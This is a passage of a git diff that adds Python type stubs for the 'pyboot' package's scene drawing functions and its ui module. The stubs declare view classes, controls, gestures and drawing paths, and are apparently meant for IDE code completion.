float = ..., + timing_mode: int = ..., + ) -> Action: ... + @staticmethod + def move_by( + dx: float, + dy: float, + duration: float = ..., + timing_mode: int = ..., + ) -> Action: ... + @staticmethod + def sequence(*actions: Action) -> Action: ... + @staticmethod + def group(*actions: Action) -> Action: ... + @staticmethod + def repeat(action: Action, count: int) -> Action: ... + @staticmethod + def repeat_forever(action: Action) -> Action: ... + @staticmethod + def wait(duration: float) -> Action: ... + @staticmethod + def remove() -> Action: ... + @staticmethod + def rotate_to( + angle: float, + duration: float = ..., + timing_mode: int = ..., + ) -> Action: ... + @staticmethod + def rotate_by( + angle: float, + duration: float = ..., + timing_mode: int = ..., + ) -> Action: ... + @staticmethod + def scale_to( + scale: float, + duration: float = ..., + timing_mode: int = ..., + ) -> Action: ... + @staticmethod + def scale_by( + scale: float, + duration: float = ..., + timing_mode: int = ..., + ) -> Action: ... + @staticmethod + def scale_x_to( + scale: float, + duration: float = ..., + timing_mode: int = ..., + ) -> Action: ... + @staticmethod + def scale_y_to( + scale: float, + duration: float = ..., + timing_mode: int = ..., + ) -> Action: ... + @staticmethod + def fade_to( + alpha: float, + duration: float = ..., + timing_mode: int = ..., + ) -> Action: ... + @staticmethod + def fade_by( + alpha: float, + duration: float = ..., + timing_mode: int = ..., + ) -> Action: ... + @staticmethod + def set_uniform( + name: str, + value: Any, + duration: float = ..., + timing_mode: int = ..., + ) -> Action: ... + @staticmethod + def call( + callback: Callable[..., Any], + duration: float = ..., + scene: Optional[Scene] = None, + ) -> Action: ... + + +# --- scene_drawing re-exports (lazy-loaded at runtime) --- + +def background(r: float = ..., g: float = ..., b: float = ...) -> None: ... +def fill(r: float = ..., g: float = ..., b: float = ..., a: float = ...) -> None: ... +def no_fill() -> None: ... +def stroke(r: float, g: float, b: float, a: float = ...) -> None: ... +def no_stroke() -> None: ... +def stroke_weight(line_width: float) -> None: ... +def tint(r: float = ..., g: float = ..., b: float = ..., a: float = ...) -> None: ... +def no_tint() -> None: ... +def rect( + x: float = ..., + y: float = ..., + w: float = ..., + h: float = ..., + corner_radius: float = ..., +) -> None: ... +def ellipse(x: float = ..., y: float = ..., w: float = ..., h: float = ...) -> None: ... +def line(x1: float, y1: float, x2: float, y2: float) -> None: ... +def image( + name: str, + x: float = ..., + y: float = ..., + w: float = ..., + h: float = ..., + from_x: Optional[float] = None, + from_y: Optional[float] = None, + from_w: Optional[float] = None, + from_h: Optional[float] = None, +) -> None: ... +def text( + txt: str, + font_name: str = ..., + font_size: float = ..., + x: float = ..., + y: float = ..., + alignment: int = ..., +) -> None: ... +def translate(x: float, y: float) -> None: ... +def rotate(deg: float) -> None: ... +def scale(x: float, y: float) -> None: ... +def push_matrix() -> None: ... +def pop_matrix() -> None: ... +def blend_mode(mode: int) -> None: ... +def use_shader(shader: Any) -> None: ... +def load_image(image_name: str) -> None: ... +def load_image_file(image_path: str) -> Optional[str]: ... +def load_pil_image(pil_image: Any) -> Optional[str]: ... +def render_text( + txt: str, + font_name: str = ..., + font_size: float = ..., +) -> Tuple[Optional[str], Size]: ... +def unload_image(image_name: str) -> None: ... +def image_quad( + name: str, + x1: float, + y1: float, + x2: float, + y2: float, + x3: float, + y3: float, + x4: float, + y4: float, + from_x1: Optional[float] = None, + from_y1: Optional[float] = None, + from_x2: Optional[float] = None, + from_y2: Optional[float] = None, + from_x3: Optional[float] = None, + from_y3: Optional[float] = None, + from_x4: Optional[float] = None, + from_y4: Optional[float] = None, +) -> None: ... +def triangle_strip( + points: Sequence[Tuple[float, float]], + tex_coords: Optional[Sequence[Tuple[float, float]]] = None, + image_name: Optional[str] = None, +) -> None: ... diff --git a/docs/stubs/ui.pyi b/docs/stubs/ui.pyi new file mode 100644 index 0000000..16fff77 --- /dev/null +++ b/docs/stubs/ui.pyi @@ -0,0 +1,1260 @@ +# Stubs for pyboot.ui — generated for IDE completion; see ui.py for behavior. +from __future__ import annotations + +import datetime +from types import TracebackType +from typing import ( + Any, + Callable, + ClassVar, + Dict, + List, + Optional, + Sequence, + Tuple, + Union, +) + +from typing_extensions import Self + +# --- Constants (int) --- +ALIGN_LEFT: int +ALIGN_CENTER: int +ALIGN_RIGHT: int +ALIGN_JUSTIFIED: int +ALIGN_NATURAL: int + +LB_WORD_WRAP: int +LB_CHAR_WRAP: int +LB_CLIP: int +LB_TRUNCATE_HEAD: int +LB_TRUNCATE_TAIL: int +LB_TRUNCATE_MIDDLE: int + +KEYBOARD_DEFAULT: int +KEYBOARD_ASCII: int +KEYBOARD_NUMBERS: int +KEYBOARD_URL: int +KEYBOARD_NUMBER_PAD: int +KEYBOARD_PHONE_PAD: int +KEYBOARD_NAME_PHONE_PAD: int +KEYBOARD_EMAIL: int +KEYBOARD_DECIMAL_PAD: int +KEYBOARD_TWITTER: int +KEYBOARD_WEB_SEARCH: int + +BLEND_NORMAL: int +BLEND_MULTIPLY: int +BLEND_SCREEN: int +BLEND_OVERLAY: int +BLEND_DARKEN: int +BLEND_LIGHTEN: int +BLEND_COLOR_DODGE: int +BLEND_COLOR_BURN: int +BLEND_SOFT_LIGHT: int +BLEND_HARD_LIGHT: int +BLEND_DIFFERENCE: int +BLEND_EXCLUSION: int +BLEND_HUE: int +BLEND_SATURATION: int +BLEND_COLOR: int +BLEND_LUMINOSITY: int +BLEND_CLEAR: int +BLEND_COPY: int +BLEND_SOURCE_IN: int +BLEND_SOURCE_OUT: int +BLEND_SOURCE_ATOP: int +BLEND_DESTINATION_OVER: int +BLEND_DESTINATION_IN: int +BLEND_DESTINATION_OUT: int +BLEND_DESTINATION_ATOP: int +BLEND_XOR: int +BLEND_PLUS_DARKER: int +BLEND_PLUS_LIGHTER: int + +LINE_CAP_BUTT: int +LINE_CAP_ROUND: int +LINE_CAP_SQUARE: int +LINE_JOIN_MITER: int +LINE_JOIN_ROUND: int +LINE_JOIN_BEVEL: int + +RENDERING_MODE_AUTOMATIC: int +RENDERING_MODE_ORIGINAL: int +RENDERING_MODE_TEMPLATE: int + +CONTENT_SCALE_TO_FILL: int +CONTENT_SCALE_ASPECT_FIT: int +CONTENT_SCALE_ASPECT_FILL: int +CONTENT_REDRAW: int +CONTENT_CENTER: int +CONTENT_TOP: int +CONTENT_BOTTOM: int +CONTENT_LEFT: int +CONTENT_RIGHT: int +CONTENT_TOP_LEFT: int +CONTENT_TOP_RIGHT: int +CONTENT_BOTTOM_LEFT: int +CONTENT_BOTTOM_RIGHT: int + +DATE_PICKER_MODE_TIME: int +DATE_PICKER_MODE_DATE: int +DATE_PICKER_MODE_DATE_AND_TIME: int +DATE_PICKER_MODE_COUNTDOWN: int + +ACTIVITY_INDICATOR_STYLE_GRAY: int +ACTIVITY_INDICATOR_STYLE_WHITE: int +ACTIVITY_INDICATOR_STYLE_WHITE_LARGE: int + +class Color: + COLORS: ClassVar[Dict[str, Tuple[float, float, float, float]]] + r: float + g: float + b: float + a: float + def __init__(self, r: float, g: float, b: float, a: float = 1.0) -> None: ... + @classmethod + def rgb(cls, r: float, g: float, b: float, a: float = 1.0) -> Color: ... + @classmethod + def hex(cls, hex_string: str) -> Color: ... + @classmethod + def named(cls, name: str) -> Color: ... + +class Point: + x: float + y: float + def __init__(self, x: Union[float, Sequence[float]] = 0.0, y: float = 0.0) -> None: ... + def __getitem__(self, i: int) -> float: ... + def __len__(self) -> int: ... + def as_tuple(self) -> Tuple[float, float]: ... + +class Size: + w: float + h: float + width: float + height: float + def __init__(self, w: Union[float, Sequence[float]] = 0.0, h: float = 0.0) -> None: ... + def __getitem__(self, i: int) -> float: ... + def __len__(self) -> int: ... + +class Rect: + x: float + y: float + w: float + h: float + width: float + height: float + @property + def min_x(self) -> float: ... + @property + def min_y(self) -> float: ... + @property + def max_x(self) -> float: ... + @property + def max_y(self) -> float: ... + @property + def origin(self) -> Point: ... + @property + def size(self) -> Size: ... + def __init__( + self, + x: Union[float, Sequence[float]] = 0.0, + y: float = 0.0, + w: float = 0.0, + h: float = 0.0, + ) -> None: ... + def center(self) -> Point: ... + def as_tuple(self) -> Tuple[float, float, float, float]: ... + def contains_point(self, point: Any) -> bool: ... + def contains_rect(self, rect: Any) -> bool: ... + def inset(self, dx: float, dy: float) -> Rect: ... + def intersection(self, rect: Any) -> Rect: ... + def intersects(self, rect: Any) -> bool: ... + def translate(self, dx: float, dy: float) -> Rect: ... + def union(self, rect: Any) -> Rect: ... + def __getitem__(self, i: int) -> float: ... + def __len__(self) -> int: ... + +class Transform: + a: float + b: float + c: float + d: float + tx: float + ty: float + def __init__( + self, + a: float = 1.0, + b: float = 0.0, + c: float = 0.0, + d: float = 1.0, + tx: float = 0.0, + ty: float = 0.0, + ) -> None: ... + @classmethod + def rotation(cls, rad: float) -> Transform: ... + @classmethod + def scale(cls, sx: float, sy: float) -> Transform: ... + @classmethod + def translation(cls, tx: float, ty: float) -> Transform: ... + def concat(self, other: Transform) -> Transform: ... + def invert(self) -> Transform: ... + +class Touch: + location: Point + prev_location: Point + phase: str + touch_id: int + timestamp: float + def __init__( + self, + location: Sequence[float] = ..., + prev_location: Optional[Sequence[float]] = ..., + phase: str = ..., + touch_id: int = ..., + timestamp: Union[int, float] = ..., + ) -> None: ... + +class GestureSender: + STATE_POSSIBLE: ClassVar[int] + STATE_BEGAN: ClassVar[int] + STATE_CHANGED: ClassVar[int] + STATE_ENDED: ClassVar[int] + STATE_CANCELLED: ClassVar[int] + DIRECTION_LEFT: ClassVar[int] + DIRECTION_RIGHT: ClassVar[int] + DIRECTION_UP: ClassVar[int] + DIRECTION_DOWN: ClassVar[int] + view: Optional[View] + state: int + location: Point + translation: Tuple[float, float] + scale: float + direction: int + def __init__( + self, + view: Optional[View] = ..., + state: int = ..., + location: Sequence[float] = ..., + translation: Sequence[float] = ..., + scale: float = ..., + direction: int = ..., + ) -> None: ... + +_GestureAction = Optional[Callable[[GestureSender], Any]] + +class GestureRecognizer: + def __init__(self, gesture_id: str) -> None: ... + @property + def action(self) -> _GestureAction: ... + @action.setter + def action(self, value: _GestureAction) -> None: ... + +class TapGestureRecognizer(GestureRecognizer): + def __init__(self) -> None: ... + @property + def number_of_taps_required(self) -> int: ... + @number_of_taps_required.setter + def number_of_taps_required(self, value: int) -> None: ... + @property + def number_of_touches_required(self) -> int: ... + @number_of_touches_required.setter + def number_of_touches_required(self, value: int) -> None: ... + +class PanGestureRecognizer(GestureRecognizer): + def __init__(self) -> None: ... + +class PinchGestureRecognizer(GestureRecognizer): + def __init__(self) -> None: ... + +class SwipeGestureRecognizer(GestureRecognizer): + def __init__(self) -> None: ... + @property + def direction(self) -> int: ... + @direction.setter + def direction(self, value: int) -> None: ... + +class LongPressGestureRecognizer(GestureRecognizer): + def __init__(self) -> None: ... + @property + def minimum_press_duration(self) -> float: ... + @minimum_press_duration.setter + def minimum_press_duration(self, value: float) -> None: ... + +def parse_color(color: Any) -> Tuple[float, float, float, float]: ... + +class Font: + name: str + size: float + def __init__(self, name: str = ..., size: float = ...) -> None: ... + @classmethod + def system_font_of_size(cls, size: float) -> Font: ... + @classmethod + def bold_system_font_of_size(cls, size: float) -> Font: ... + @classmethod + def italic_system_font_of_size(cls, size: float) -> Font: ... + +def parse_font(font: Any) -> Tuple[str, float]: ... + +_ColorLike = Union[str, Color, Tuple[float, ...], List[float], None] +_FontLike = Union[str, Font, Tuple[Any, ...], List[Any]] + +_Frame = Union[Tuple[float, float, float, float], List[float], Rect] + +class View: + def __init__(self, frame: Optional[_Frame] = ..., **kwargs: Any) -> None: ... + @property + def frame(self) -> Tuple[float, float, float, float]: ... + @frame.setter + def frame(self, value: _Frame) -> None: ... + @property + def x(self) -> float: ... + @x.setter + def x(self, value: float) -> None: ... + @property + def y(self) -> float: ... + @y.setter + def y(self, value: float) -> None: ... + @property + def width(self) -> float: ... + @width.setter + def width(self, value: float) -> None: ... + @property + def height(self) -> float: ... + @height.setter + def height(self, value: float) -> None: ... + @property + def background_color(self) -> Optional[Tuple[float, float, float, float]]: ... + @background_color.setter + def background_color(self, value: _ColorLike) -> None: ... + @property + def alpha(self) -> float: ... + @alpha.setter + def alpha(self, value: float) -> None: ... + @property + def hidden(self) -> bool: ... + @hidden.setter + def hidden(self, value: bool) -> None: ... + @property + def corner_radius(self) -> float: ... + @corner_radius.setter + def corner_radius(self, value: float) -> None: ... + @property + def border_width(self) -> float: ... + @border_width.setter + def border_width(self, value: float) -> None: ... + @property + def title(self) -> str: ... + @title.setter + def title(self, value: str) -> None: ... + @property + def content_mode(self) -> int: ... + @content_mode.setter + def content_mode(self, value: int) -> None: ... + @property + def touch_enabled(self) -> bool: ... + @touch_enabled.setter + def touch_enabled(self, value: bool) -> None: ... + @property + def multitouch_enabled(self) -> bool: ... + @multitouch_enabled.setter + def multitouch_enabled(self, value: bool) -> None: ... + @property + def transform(self) -> Optional[Transform]: ... + @transform.setter + def transform(self, value: Optional[Transform]) -> None: ... + @property + def bg_color(self) -> Any: ... + @bg_color.setter + def bg_color(self, value: _ColorLike) -> None: ... + @property + def tint_color(self) -> Any: ... + @tint_color.setter + def tint_color(self, value: _ColorLike) -> None: ... + @property + def left_button_items(self) -> Tuple[ButtonItem, ...]: ... + @left_button_items.setter + def left_button_items(self, value: Any) -> None: ... + @property + def right_button_items(self) -> Tuple[ButtonItem, ...]: ... + @right_button_items.setter + def right_button_items(self, value: Any) -> None: ... + def __getitem__(self, name: str) -> View: ... + @property + def border_color(self) -> Optional[Tuple[float, float, float, float]]: ... + @border_color.setter + def border_color(self, value: _ColorLike) -> None: ... + @property + def flex(self) -> str: ... + @flex.setter + def flex(self, value: str) -> None: ... + @property + def name(self) -> str: ... + @name.setter + def name(self, value: str) -> None: ... + @property + def subviews(self) -> Tuple[View, ...]: ... + @property + def superview(self) -> Optional[View]: ... + @property + def bounds(self) -> Tuple[float, float, float, float]: ... + @bounds.setter + def bounds(self, value: Any) -> None: ... + @property + def center(self) -> Tuple[float, float]: ... + @center.setter + def center(self, value: Sequence[float]) -> None: ... + def add_subview(self, subview: View) -> None: ... + def remove_subview(self, subview: View) -> None: ... + def remove_from_superview(self) -> None: ... + def set_needs_display(self) -> None: ... + def bring_to_front(self) -> None: ... + def send_to_back(self) -> None: ... + def bring_subview_to_front(self, subview: View) -> None: ... + def send_subview_to_back(self, subview: View) -> None: ... + def size_to_fit(self) -> None: ... + def layout(self) -> None: ... + def draw(self) -> None: ... + def keyboard_frame_did_change(self, frame: Any) -> None: ... + def set_needs_layout(self) -> None: ... + def update_layout(self) -> None: ... + @property + def clips_to_bounds(self) -> bool: ... + @clips_to_bounds.setter + def clips_to_bounds(self, value: bool) -> None: ... + @property + def accessibility_label(self) -> Any: ... + @accessibility_label.setter + def accessibility_label(self, value: Any) -> None: ... + @property + def accessibility_value(self) -> Any: ... + @accessibility_value.setter + def accessibility_value(self, value: Any) -> None: ... + @property + def accessibility_hint(self) -> Any: ... + @accessibility_hint.setter + def accessibility_hint(self, value: Any) -> None: ... + def point_from_window(self, point: Any) -> Point: ... + def point_to_window(self, point: Any) -> Point: ... + def add_gesture_recognizer(self, gesture_recognizer: GestureRecognizer) -> None: ... + def present( + self, + style: str = ..., + animated: bool = ..., + hide_title_bar: bool = ..., + **kwargs: Any, + ) -> None: ... + def close(self) -> None: ... + def wait_modal(self) -> None: ... + +class ButtonItem: + title: str + image: Any + action: Optional[Callable[..., Any]] + enabled: bool + tint_color: Any + def __init__( + self, + title: str = ..., + image: Any = ..., + action: Optional[Callable[..., Any]] = ..., + **kwargs: Any, + ) -> None: ... + +class Button(View): + def __init__(self, frame: Optional[_Frame] = ..., title: str = ..., **kwargs: Any) -> None: ... + @property + def title(self) -> str: ... + @title.setter + def title(self, value: str) -> None: ... + @property + def title_color(self) -> Any: ... + @title_color.setter + def title_color(self, value: _ColorLike) -> None: ... + @property + def tint_color(self) -> Any: ... + @tint_color.setter + def tint_color(self, value: _ColorLike) -> None: ... + @property + def enabled(self) -> bool: ... + @enabled.setter + def enabled(self, value: bool) -> None: ... + @property + def image(self) -> Any: ... + @image.setter + def image(self, value: Any) -> None: ... + @property + def background_image(self) -> Any: ... + @background_image.setter + def background_image(self, value: Any) -> None: ... + @property + def action(self) -> Optional[Callable[[Button], Any]]: ... + @action.setter + def action(self, func: Callable[[Button], Any]) -> None: ... + @property + def font(self) -> Any: ... + @font.setter + def font(self, value: _FontLike) -> None: ... + +class Label(View): + def __init__(self, frame: Optional[_Frame] = ..., text: str = ..., **kwargs: Any) -> None: ... + @property + def text(self) -> str: ... + @text.setter + def text(self, value: str) -> None: ... + @property + def font(self) -> Any: ... + @font.setter + def font(self, value: _FontLike) -> None: ... + @property + def text_color(self) -> Any: ... + @text_color.setter + def text_color(self, value: _ColorLike) -> None: ... + @property + def alignment(self) -> int: ... + @alignment.setter + def alignment(self, value: int) -> None: ... + @property + def number_of_lines(self) -> int: ... + @number_of_lines.setter + def number_of_lines(self, value: int) -> None: ... + @property + def line_break_mode(self) -> int: ... + @line_break_mode.setter + def line_break_mode(self, value: int) -> None: ... + @property + def scales_font(self) -> bool: ... + @scales_font.setter + def scales_font(self, value: bool) -> None: ... + @property + def min_font_scale(self) -> float: ... + @min_font_scale.setter + def min_font_scale(self, value: float) -> None: ... + +class TextField(View): + def __init__( + self, + frame: Optional[_Frame] = ..., + text: str = ..., + placeholder: str = ..., + **kwargs: Any, + ) -> None: ... + @property + def text(self) -> str: ... + @text.setter + def text(self, value: str) -> None: ... + @property + def placeholder(self) -> str: ... + @placeholder.setter + def placeholder(self, value: str) -> None: ... + @property + def text_color(self) -> Any: ... + @text_color.setter + def text_color(self, value: _ColorLike) -> None: ... + @property + def alignment(self) -> int: ... + @alignment.setter + def alignment(self, value: int) -> None: ... + @property + def secure(self) -> bool: ... + @secure.setter + def secure(self, value: bool) -> None: ... + @property + def keyboard_type(self) -> int: ... + @keyboard_type.setter + def keyboard_type(self, value: int) -> None: ... + @property + def action(self) -> Optional[Callable[[TextField], Any]]: ... + @action.setter + def action(self, func: Callable[[TextField], Any]) -> None: ... + @property + def began_editing(self) -> Optional[Callable[[TextField], Any]]: ... + @began_editing.setter + def began_editing(self, func: Callable[[TextField], Any]) -> None: ... + @property + def ended_editing(self) -> Optional[Callable[[TextField], Any]]: ... + @ended_editing.setter + def ended_editing(self, func: Callable[[TextField], Any]) -> None: ... + @property + def autocapitalization_type(self) -> int: ... + @autocapitalization_type.setter + def autocapitalization_type(self, value: int) -> None: ... + @property + def autocorrection_type(self) -> int: ... + @autocorrection_type.setter + def autocorrection_type(self, value: int) -> None: ... + @property + def spellchecking_type(self) -> int: ... + @spellchecking_type.setter + def spellchecking_type(self, value: int) -> None: ... + @property + def clear_button_mode(self) -> int: ... + @clear_button_mode.setter + def clear_button_mode(self, value: int) -> None: ... + @property + def return_key_type(self) -> int: ... + @return_key_type.setter + def return_key_type(self, value: int) -> None: ... + +class TextView(View): + def __init__(self, frame: Optional[_Frame] = ..., text: str = ..., **kwargs: Any) -> None: ... + @property + def text(self) -> str: ... + @text.setter + def text(self, value: str) -> None: ... + @property + def editable(self) -> bool: ... + @editable.setter + def editable(self, value: bool) -> None: ... + @property + def selectable(self) -> bool: ... + @selectable.setter + def selectable(self, value: bool) -> None: ... + @property + def text_color(self) -> Any: ... + @text_color.setter + def text_color(self, value: _ColorLike) -> None: ... + @property + def font(self) -> Any: ... + @font.setter + def font(self, value: _FontLike) -> None: ... + @property + def delegate(self) -> Any: ... + @delegate.setter + def delegate(self, value: Any) -> None: ... + @property + def began_editing(self) -> Optional[Callable[[TextView], Any]]: ... + @began_editing.setter + def began_editing(self, func: Callable[[TextView], Any]) -> None: ... + @property + def ended_editing(self) -> Optional[Callable[[TextView], Any]]: ... + @ended_editing.setter + def ended_editing(self, func: Callable[[TextView], Any]) -> None: ... + @property + def selected_range(self) -> Tuple[int, int]: ... + @selected_range.setter + def selected_range(self, value: Sequence[int]) -> None: ... + @property + def content_size(self) -> Size: ... + @property + def content_offset(self) -> Point: ... + @content_offset.setter + def content_offset(self, value: Sequence[float]) -> None: ... + @property + def alignment(self) -> int: ... + @alignment.setter + def alignment(self, value: int) -> None: ... + @property + def auto_content_inset(self) -> bool: ... + @auto_content_inset.setter + def auto_content_inset(self, value: bool) -> None: ... + +class ImageView(View): + def __init__(self, frame: Optional[_Frame] = ..., **kwargs: Any) -> None: ... + @property + def image(self) -> Any: ... + @image.setter + def image(self, value: Any) -> None: ... + +class WebView(View): + def __init__(self, frame: Optional[_Frame] = ..., **kwargs: Any) -> None: ... + def load_url(self, url: str) -> None: ... + def load_from_url(self, url: str) -> None: ... + def load_html(self, html: str, base_url: Optional[str] = ...) -> None: ... + def go_back(self) -> None: ... + def go_forward(self) -> None: ... + def reload(self) -> None: ... + def stop(self) -> None: ... + def eval_js(self, script: str, callback: Optional[Callable[[Optional[str]], None]] = ...) -> None: ... + +class ActivityIndicator(View): + def __init__(self, frame: Optional[_Frame] = ..., **kwargs: Any) -> None: ... + @property + def animating(self) -> bool: ... + @animating.setter + def animating(self, value: bool) -> None: ... + @property + def style(self) -> int: ... + @style.setter + def style(self, value: int) -> None: ... + @property + def hides_when_stopped(self) -> bool: ... + @hides_when_stopped.setter + def hides_when_stopped(self, value: bool) -> None: ... + def start(self) -> None: ... + def stop(self) -> None: ... + def start_animating(self) -> None: ... + def stop_animating(self) -> None: ... + +class TableView(View): + def __init__(self, frame: Optional[_Frame] = ..., **kwargs: Any) -> None: ... + @property + def data_source(self) -> List[Any]: ... + @data_source.setter + def data_source(self, value: Any) -> None: ... + def reload_data(self) -> None: ... + @property + def action(self) -> Optional[Callable[[TableView, int, int], Any]]: ... + @action.setter + def action(self, func: Callable[[TableView, int, int], Any]) -> None: ... + @property + def delegate(self) -> Any: ... + @delegate.setter + def delegate(self, value: Any) -> None: ... + @property + def editing(self) -> bool: ... + @editing.setter + def editing(self, value: bool) -> None: ... + @property + def row_height(self) -> float: ... + @row_height.setter + def row_height(self, value: float) -> None: ... + @property + def separator_color(self) -> Any: ... + @separator_color.setter + def separator_color(self, value: _ColorLike) -> None: ... + @property + def allows_selection(self) -> bool: ... + @allows_selection.setter + def allows_selection(self, value: bool) -> None: ... + @property + def allows_multiple_selection(self) -> bool: ... + @allows_multiple_selection.setter + def allows_multiple_selection(self, value: bool) -> None: ... + @property + def selected_row(self) -> Optional[Tuple[int, int]]: ... + @property + def delete_enabled(self) -> bool: ... + @delete_enabled.setter + def delete_enabled(self, value: bool) -> None: ... + @property + def move_enabled(self) -> bool: ... + @move_enabled.setter + def move_enabled(self, value: bool) -> None: ... + +class ListDataSource: + items: List[Any] + def __init__(self) -> None: ... + def tableview_number_of_sections(self, tableview: TableView) -> int: ... + def tableview_number_of_rows(self, tableview: TableView, section: int) -> int: ... + def tableview_cell_for_row(self, tableview: TableView, section: int, row: int) -> Any: ... + def tableview_did_select(self, tableview: TableView, section: int, row: int) -> None: ... + def reload(self) -> None: ... + +class TableViewCell(View): + text_label: Label + detail_text_label: Label + accessory_type: int + def __init__(self, style: str = ..., **kwargs: Any) -> None: ... + +class Switch(View): + def __init__(self, frame: Optional[_Frame] = ..., value: bool = ..., **kwargs: Any) -> None: ... + @property + def value(self) -> bool: ... + @value.setter + def value(self, val: bool) -> None: ... + @property + def action(self) -> Optional[Callable[[Switch], Any]]: ... + @action.setter + def action(self, func: Callable[[Switch], Any]) -> None: ... + @property + def enabled(self) -> bool: ... + @enabled.setter + def enabled(self, value: bool) -> None: ... + +class Slider(View): + def __init__(self, frame: Optional[_Frame] = ..., **kwargs: Any) -> None: ... + @property + def value(self) -> float: ... + @value.setter + def value(self, val: float) -> None: ... + @property + def continuous(self) -> bool: ... + @continuous.setter + def continuous(self, value: bool) -> None: ... + @property + def action(self) -> Optional[Callable[[Slider], Any]]: ... + @action.setter + def action(self, func: Callable[[Slider], Any]) -> None: ... + +class SegmentedControl(View): + def __init__(self, frame: Optional[_Frame] = ..., **kwargs: Any) -> None: ... + @property + def segments(self) -> List[str]: ... + @segments.setter + def segments(self, value: Any) -> None: ... + @property + def selected_index(self) -> int: ... + @selected_index.setter + def selected_index(self, value: int) -> None: ... + @property + def action(self) -> Optional[Callable[[SegmentedControl], Any]]: ... + @action.setter + def action(self, func: Callable[[SegmentedControl], Any]) -> None: ... + +class DatePicker(View): + def __init__(self, frame: Optional[_Frame] = ..., **kwargs: Any) -> None: ... + @property + def date(self) -> datetime.datetime: ... + @date.setter + def date(self, value: Any) -> None: ... + @property + def mode(self) -> int: ... + @mode.setter + def mode(self, value: int) -> None: ... + @property + def enabled(self) -> bool: ... + @enabled.setter + def enabled(self, value: bool) -> None: ... + @property + def action(self) -> Optional[Callable[[DatePicker], Any]]: ... + @action.setter + def action(self, func: Callable[[DatePicker], Any]) -> None: ... + +class ProgressView(View): + def __init__(self, frame: Optional[_Frame] = ..., **kwargs: Any) -> None: ... + @property + def progress(self) -> float: ... + @progress.setter + def progress(self, value: float) -> None: ... + @property + def progress_tint_color(self) -> Any: ... + @progress_tint_color.setter + def progress_tint_color(self, value: _ColorLike) -> None: ... + @property + def track_tint_color(self) -> Any: ... + @track_tint_color.setter + def track_tint_color(self, value: _ColorLike) -> None: ... + +class Stepper(View): + def __init__(self, frame: Optional[_Frame] = ..., **kwargs: Any) -> None: ... + @property + def value(self) -> float: ... + @value.setter + def value(self, val: float) -> None: ... + @property + def min_value(self) -> float: ... + @min_value.setter + def min_value(self, val: float) -> None: ... + @property + def max_value(self) -> float: ... + @max_value.setter + def max_value(self, val: float) -> None: ... + @property + def step_value(self) -> float: ... + @step_value.setter + def step_value(self, val: float) -> None: ... + @property + def wraps(self) -> bool: ... + @wraps.setter + def wraps(self, val: bool) -> None: ... + @property + def continuous(self) -> bool: ... + @continuous.setter + def continuous(self, val: bool) -> None: ... + @property + def action(self) -> Optional[Callable[[Stepper], Any]]: ... + @action.setter + def action(self, func: Callable[[Stepper], Any]) -> None: ... + +class NavigationView(View): + def __init__(self, view: Optional[View] = ..., **kwargs: Any) -> None: ... + @property + def navigation_bar_hidden(self) -> bool: ... + @navigation_bar_hidden.setter + def navigation_bar_hidden(self, value: bool) -> None: ... + @property + def bar_tint_color(self) -> Any: ... + @bar_tint_color.setter + def bar_tint_color(self, value: _ColorLike) -> None: ... + @property + def title_color(self) -> Any: ... + @title_color.setter + def title_color(self, value: _ColorLike) -> None: ... + def push_view(self, view: View, animated: bool = ...) -> None: ... + def pop_view(self, animated: bool = ...) -> None: ... + +class ScrollView(View): + def __init__(self, frame: Optional[_Frame] = ..., **kwargs: Any) -> None: ... + @property + def content_size(self) -> Tuple[float, float]: ... + @content_size.setter + def content_size(self, value: Sequence[float]) -> None: ... + @property + def content_offset(self) -> Tuple[float, float]: ... + @content_offset.setter + def content_offset(self, value: Sequence[float]) -> None: ... + @property + def bounces(self) -> bool: ... + @bounces.setter + def bounces(self, value: bool) -> None: ... + @property + def always_bounce_horizontal(self) -> bool: ... + @always_bounce_horizontal.setter + def always_bounce_horizontal(self, value: bool) -> None: ... + @property + def always_bounce_vertical(self) -> bool: ... + @always_bounce_vertical.setter + def always_bounce_vertical(self, value: bool) -> None: ... + @property + def delegate(self) -> Any: ... + @delegate.setter + def delegate(self, value: Any) -> None: ... + @property + def scroll_enabled(self) -> bool: ... + @scroll_enabled.setter + def scroll_enabled(self, value: bool) -> None: ... + def scroll_to(self, x: float, y: float, animated: bool = ...) -> None: ... + @property + def content_inset(self) -> Tuple[float, float, float, float]: ... + @content_inset.setter + def content_inset(self, value: Any) -> None: ... + @property + def paging_enabled(self) -> bool: ... + @paging_enabled.setter + def paging_enabled(self, value: bool) -> None: ... + @property + def zoom_scale(self) -> float: ... + @zoom_scale.setter + def zoom_scale(self, value: float) -> None: ... + @property + def min_zoom_scale(self) -> float: ... + @min_zoom_scale.setter + def min_zoom_scale(self, value: float) -> None: ... + @property + def max_zoom_scale(self) -> float: ... + @max_zoom_scale.setter + def max_zoom_scale(self, value: float) -> None: ... + @property + def shows_vertical_scroll_indicator(self) -> bool: ... + @shows_vertical_scroll_indicator.setter + def shows_vertical_scroll_indicator(self, value: bool) -> None: ... + @property + def shows_horizontal_scroll_indicator(self) -> bool: ... + @shows_horizontal_scroll_indicator.setter + def shows_horizontal_scroll_indicator(self, value: bool) -> None: ... + +class Path: + line_width: float + line_cap_style: int + line_join_style: int + def __init__(self) -> None: ... + def add_arc( + self, + cx: float, + cy: float, + r: float, + start: float, + end: float, + clockwise: bool = ..., + ) -> None: ... + def add_curve( + self, + end_x: float, + end_y: float, + cp1_x: float, + cp1_y: float, + cp2_x: float, + cp2_y: float, + ) -> None: ... + def add_quad_curve(self, end_x: float, end_y: float, cp_x: float, cp_y: float) -> None: ... + def add_clip(self) -> None: ... + def set_line_dash(self, sequence: Sequence[float], phase: float = ...) -> None: ... + @staticmethod + def rect(x: float, y: float, w: float, h: float) -> Path: ... + @staticmethod + def oval(x: float, y: float, w: float, h: float) -> Path: ... + @staticmethod + def rounded_rect(x: float, y: float, w: float, h: float, corner_radius: float) -> Path: ... + def move_to(self, x: float, y: float) -> None: ... + def line_to(self, x: float, y: float) -> None: ... + def close(self) -> None: ... + def fill(self) -> None: ... + def stroke(self) -> None: ... + def add_rect(self, x: float, y: float, w: float, h: float) -> None: ... + def add_oval(self, x: float, y: float, w: float, h: float) -> None: ... + def copy(self) -> Self: ... + def hit_test(self, x: float, y: float) -> bool: ... + def get_bounding_box(self) -> Rect: ... + +class GState: + def __enter__(self) -> GState: ... + def __exit__( + self, + exc_type: Optional[type[BaseException]], + exc: Optional[BaseException], + tb: Optional[TracebackType], + ) -> bool: ... + +class ImageContext: + width: float + height: float + def __init__(self, width: float, height: float) -> None: ... + def __enter__(self) -> Optional[ImageContext]: ... + def __exit__( + self, + exc_type: Optional[type[BaseException]], + exc: 